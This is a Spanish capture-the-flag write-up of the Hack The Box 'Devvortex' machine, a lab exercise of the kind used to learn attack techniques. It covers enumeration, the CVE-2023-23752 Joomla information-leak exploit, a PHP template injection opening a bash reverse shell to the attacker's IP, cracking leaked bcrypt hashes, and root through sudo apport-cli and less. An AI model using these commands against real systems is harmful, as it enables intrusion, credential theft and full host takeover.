🟢Devvortex
En esta ocasión vamos a hacer el writeup de la máquina Devvortex de Hack the Box, una máquina Linux de dificultad easy.
Primer acceso
Accedemos a la IP 10.10.11.242 a través del navegador. Añadimos devvortex.htb a nuestro archivo etc/hosts y ya nos aparece:

A priori parece una web de una compañía de desarrollo web.
Escaneo con Nmap
sudo nmap -v -sS -sV 10.10.11.242PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.9 (Ubuntu Linux; protocol 2.0)
80/tcp open http nginx 1.18.0 (Ubuntu)Solo tiene abiertos los 2 puertos típicos, ssh y http, en principio nada interesante.
Fuzzing
Al fuzzear con dirsearch nos encontramos varios directorios, pero que al acceder nos dan un forbidden:
dirsearch -u devvortex.htb -x 403,404
_|. _ _ _ _ _ _|_ v0.4.3
(_||| _) (/_(_|| (_| )
Extensions: php, aspx, jsp, html, js | HTTP method: GET | Threads: 25 | Wordlist size: 11460
Output File: /home/kali/reports/_devvortex.htb/_23-11-28_00-26-53.txt
Target: http://devvortex.htb/
[00:26:54] Starting:
[00:26:55] 301 - 178B - /js -> http://devvortex.htb/js/
[00:27:11] 200 - 7KB - /about.html
[00:27:37] 200 - 9KB - /contact.html
[00:27:39] 301 - 178B - /css -> http://devvortex.htb/css/
[00:27:50] 301 - 178B - /images -> http://devvortex.htb/images/Bueno, parece un callejón sin salida. En esta etapa, podrían venir a la mente tres posibilidades:
No hay nada explotable en el sitio web principal
No hay directorios ni archivos ocultos interesantes
Estamos en un punto muerto
Utilizando Gobuster, tenemos la opción de encontrar vhosts o pantallas de desarrollo o en pre-producción, por lo que vamos a utilizar el siguiente comando:
gobuster vhost -u devvortex.htb -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txtEncontramos el subdominio dev.devvortex.htb, lo que aumenta nuestra superficie de ataque.

Ejecutando dirsearch de nuevo contra este subdominio nos encontramos cosas interesantes:


Encontramos pantallas de administrador y logs, lo que nos puede ayudar a encontrar usuarios y/o credenciales, y archivos de configuración del sitio web.
Al acceder a /administrator nos salta un login de Joomla:

Si ejecutamos Joomscan nos encontramos con que usa la versión 4.2.6, por lo que buscaremos un exploit para esta versión:

Exploit
Buscando un exploit para esta versión de Joomla nos encontramos con este exploit en Github, con el CVE-2023-23752 asociado:
Seguimos las instrucciones de instalación del repo y lo ejecutamos de la siguiente manera:
# Instalación
git clone https://github.com/Acceis/exploit-CVE-2023-23752.git
cd exploit-CVE-2023-23752.git
gem install httpx docopt paint
# Ejecutamos el exploit
sudo ruby exploit.rb http://dev.devvortex.htbEl exploit funciona y descubrimos dos usuarios, uno de ellos administrador, y el acceso a una base de datos MySql con usuario y contraseña:
❯ sudo ruby exploit.rb http://dev.devvortex.htb
Users
[649] lewis (lewis) - lewis@devvortex.htb - Super Users
[650] logan paul (logan) - logan@devvortex.htb - Registered
Site info
Site name: Development
Editor: tinymce
Captcha: 0
Access: 1
Debug status: false
Database info
DB type: mysqli
DB host: localhost
DB user: lewis
DB password: P4ntherg0t1n5r3c0n##
DB name: joomla
DB prefix: sd4fg_
DB encryption 0A la base de datos solo nos podemos conectar por localhost, por lo que necesitamos estar dentro para acceder. Al intentar conectarnos por SSH con las credenciales no funcionan, así que vamos a loguearnos en el panel de Joomla con la cuenta de administrador:
Usuario: lewis
Password: P4ntherg0t1n5r3c0n##
Nuestro objetivo aquí es encontrar una página para añadir código y establecer una reverse shell con la máquina, por lo que vamos a ir a System > Administrator templates



Como podemos ver, hay varios códigos PHP ejecutándose dentro de nuestra plantilla. Abrimos login.php e inyectamos nuestro código para ejecutar un comando bash y luego guardemos los cambios.
bash -i >& /dev/tcp/10.10.14.46/4444 0>&1# Pegamos esto
system('bash -c "bash -i >& /dev/tcp/10.10.14.46/4444 0>&1"');
Abrimos un netcat listener y accedemos a http://dev.devvortex.htb/administrator/templates/atum/login.php y obtenemos la reverse shell:

Accedemos a /etc/passwd y vemos que logan puede ejecutar comandos desde /home/logan

Vamos a importar pty con python y a acceder a la base de datos MySql con las credenciales que descubrimos anteriormente:

Mirando las tablas de la base de datos nos encontramos con la tabla sd4fg_users que es la que contiene información de los usuarios y su contraseña en formato de hash.


Al acceder a esa tabla efectivamente encontramos los 2 hashes de los usuarios lewis y logan.

Ahora vamos a crackearlos. Nos interesa sobre todo crackear el hash de Logan, ya que es el usuario que tiene permisos para ejecutar comandos.
lewis: $2y$10$6V52x.SD8Xc7hNlVwUTrI.ax4BIAYuhVBMVvnYWRceBmy8XdEzm1u
logan: $2y$10$IT4k5kmSGvHSO9d6M/1w0eYiB5Ne9XzArQRFJTGThNiy/yBtkIj12
Ya tenemos usuario y contraseña para acceder por SSH:
Usuario: logan
Password: tequieromucho
Accedemos correctamente y obtenemos el user.txt 🏆

Escalada de Privilegios
Con sudo -l vemos los permisos que tiene Logan en el sistema:

Vamos a ejecutar el siguiente comando y le decimos 'V' cuando nos de la opción de elegir:
sudo /usr/bin/apport-cli -c test.log less
En este punto solo tenemos que ejecutar el siguiente comando para volvernos root:
!/bin/bash
Y ya somos root!

Última actualización
¿Te fue útil?